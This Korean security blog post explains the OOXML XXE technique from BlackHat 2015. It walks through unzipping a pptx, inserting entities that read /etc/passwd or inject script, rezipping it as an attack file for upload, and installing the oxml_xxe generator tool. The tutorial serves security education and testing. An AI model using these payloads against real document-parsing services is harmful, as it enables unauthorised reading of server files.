OOXML XXE Vulnerability (Exploiting XXE In file upload Function!)

오늘은 BlackHat USA 2015에서 공개된 OOXML XXE 기법에 대해 정리할까 합니다. 나온지 조금됬지만.. 아직도 잘쓰이기에 한번쯤 정리하면 좋을거라 생각했었죠.

어찌보면 다른 XXE(PDF,Image,Basic)와 원리로는 크게 다르지 않을 수 있지만 조금 더 생소한 환경에서의 XXE라 매력적입니다. 그럼 시작하겠습니다.

OOXML이란?

Office Open XML의 약자로 MS Office에서 XML 사용이 가능한 문서를 지칭합니다. 대표적으로 .xlsx, .docx, .pptx 등이 있죠. 많은 웹 서비스들은 이런 문서 파일을 웹에서 사용하고 파싱합니다. 대표적으로 문서뷰어부터 자동화된 프로그램으로 문서파일을 처리하는 등 많은 곳에서 쓰이고 있지요. 이런 문서 파일들에는 아래에서도 설명드리겠지만.. XML 데이터를 가지고 있습니다. 이 XML 데이터는 다른 웹 서비스에서 문서를 로드할 때 필요하기 때문에 사용되는데 우리는 이걸 이용하여 원하지 않는 흐름(공격?!)을 만들 수 있습니다.

Why Vulnerable?

이런 문서 계열 파일은 압축형태(PK헤더)를 가지며 내부에 문서에 대한 정보,첨부된 파일, 이미지 등 여러가지 데이터가 저장됩니다. 아래 이미지를 보시면 PK헤더인걸 알 수 있죠.

이 문서파일의 내부에는 XML 파일들이 존재합니다. 이 XML 파일들은 문서에 대한 설정을 의미하는 경우가 많습니다. (물론 다른것도 있지만요) 대표적으로 아래와 같습니다.

├── /_rels/.rels
├── [Content_Types].xml
├── Default Main Document Part
│   ├── /word/document.xml
│   ├──    /ppt/presentation.xml
│   ├──    /xl/workbook.xml
...

직접 풀어서 보면.. 무수히 많은 파일들이 있는 걸 알 수 있죠.

이 XML 파일들은 Office에서 문서 파일 로드 시 파싱되어 사용되는 값들이죠. 벌써 해답은 나왔습니다. xml 파일을 파싱할 수 있기 때문에 우리는 XXE가 가능한 환경이 되기도 하죠. 물론 MS Office 계열 제품군에선 XXE에 대해 대응이 되어있겠지만 문서를 편집할 수 있는 시스템들은 직접 파싱하여 사용하기 때문에 예외사항이 되겠죠.

위에 이미지에서 별도로 표시한 파일들은 문서의 정보를 담고 있는 파일이고, 다른 xml 보단 웹 환경에서 많이 로드할 수 밖에 없는 파일입니다. 우리는 이 파일에 XML구문을 삽입하면, 즉 XXE나 XML Injection을 한다면 웹서버가 좀 더 특별한 행동을 하게 만들 수 있겠지요. (흐름을 비틀어야지요)

OOXML XXE Attack

공격에 앞서 우린 OOXML XXE 구문이 삽입된 문서를 만들어야 합니다. (왜냐하면 업로드해야 테스트가 가능하니깐 😎)

일단 문서 파일의 압축을 풀어줍니다.

unzip asample.pptx
Archive:  asample.pptx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: ppt/slides/_rels/slide1.xml.rels  
  inflating: ppt/_rels/presentation.xml.rels  
  inflating: ppt/presentation.xml
  [....]

그럼 아래와 같이 [Content_Type].xml 과 ppt 폴더 내부에서 presentation.xml 파일을 찾을 수 있습니다. (다른 문서는 위에 설명한 것과 같이 presentation.xml 이 아닌 다른 파일이에요)

ll
drwxrwxr-x 5 hahwul hahwul  4096  5월 25 22:40 ./
drwxrwxr-x 6 hahwul hahwul  4096  5월 25 22:40 ../
-rw-rw-r-- 1 hahwul hahwul  3549  1월  1  1980 [Content_Types].xml
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 _rels/
-rw-rw-r-- 1 hahwul hahwul 38745  5월 25 22:40 asample.pptx
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 docProps/
drwxrwxr-x 9 hahwul hahwul  4096  5월 25 22:40 ppt/
ll | grep presentation
-rw-rw-r-- 1 hahwul hahwul 3299  1월  1  1980 presentation.xml

이제 이 파일을 열어서 아래와 같은 XXE 구문을 맘에드는 위치에 삽입해줍니다. (물론 XML 문법이 깨지면 안되겠죠?)

XSS

<!ENTITY hwul "<!CDATA[<script>alert(45)</script>]>">

Get System file

<!ENTITY hwul SYSTEM "file:///etc/passwd">

저는 간단하게 [Content_Types].xml 내 구문을 삽입하였습니다. (passwd 파일 로드!)

이런식으로 xml 파일에 xxe 구문 삽입 후 다시 재 압축해줍니다.

zip attackfile.pptx ./* -r
  adding: [Content_Types].xml (deflated 87%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (deflated 66%)
  adding: docProps/ (stored 0%)
  adding: docProps/app.xml (deflated 56%)
  adding: docProps/thumbnail.jpeg (deflated 29%)
  adding: docProps/core.xml (deflated 47%)
  adding: ppt/ (stored 0%)
  adding: ppt/presentation.xml (deflated 83%)

그러면..

ll
drwxrwxr-x 5 hahwul hahwul  4096  5월 25 22:45 ./
drwxrwxr-x 6 hahwul hahwul  4096  5월 25 22:40 ../
-rw-rw-r-- 1 hahwul hahwul  3549  1월  1  1980 [Content_Types].xml
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 _rels/
-rw-rw-r-- 1 hahwul hahwul 37462  5월 25 22:45 attackfile.pptx
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 docProps/
drwxrwxr-x 9 hahwul hahwul  4096  5월 25 22:40 ppt/

attackfile.pptx 파일이 생겼네요. 열어보시면 잘 열립니다. (왜냐하면 Office가 파싱하는 부분은 안건드렸기 때문!)

자 이제 이 파일을 문서를 읽는 서비스에 업로드 후 XML이 파싱되어 XXE 구문이 실행되는 걸 보시면 되겠죠?

성공한다면 /etc/passwd를 볼 수 있겠죠? 물론 이 이미지는 Joke 이죠. (실제로 성공한걸 보여드릴 순 없죠..)

OXML XXE Generator tool

공격에 사용하는 문서를 만드는 과정은 매우 귀찮습니다.. 그래서 쉽게 만들 수 있는 툴이 있습니다. (전 별로 안귀찮..)

https://github.com/BuffaloWill/oxml_xxe

아래 Filetype 을 지원합니다.

  • DOCX/XLSX/PPTX
  • ODT/ODG/ODP/ODS
  • SVG
  • XML
  • PDF (experimental)
  • JPG (experimental)
  • GIF (experimental)
git clone https://github.com/BuffaloWill/oxml_xxe.git
cd oxml_xxe

실행에 필요한 라이브러리를 설치해줍니다.

apt-get install libsqlite3-dev libxslt-dev libxml2-dev zlib1g-dev gcc
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
\curl -sSL https://get.rvm.io | bash

oxml_xxe.rb 는 Ruby 2.1.5 버전에서 동작하며 사용하시는 Ruby 버전 확인 후 진행하시면 됩니다.

ruby -v

만약 다르다면.. (아마 대체로 다를거에요. 왜냐면 2.1.5는 구버전이기 때문이죠)

rvm을 이용해서 버전을 맞춰줍니다.

rvm install 2.1.5; rvm use 2.1.5

자 이제 gem 파일들 체크만 해주시고 바로 실행하시면.. 웹 서버가 동작하고 해당 웹을 통해 변조된 문서 생성이 가능합니다.

bundle install
ruby server.rb

Open Browser http://127.0.0.1:4567

Reference

  • https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf
  • https://github.com/BuffaloWill/oxml_xxe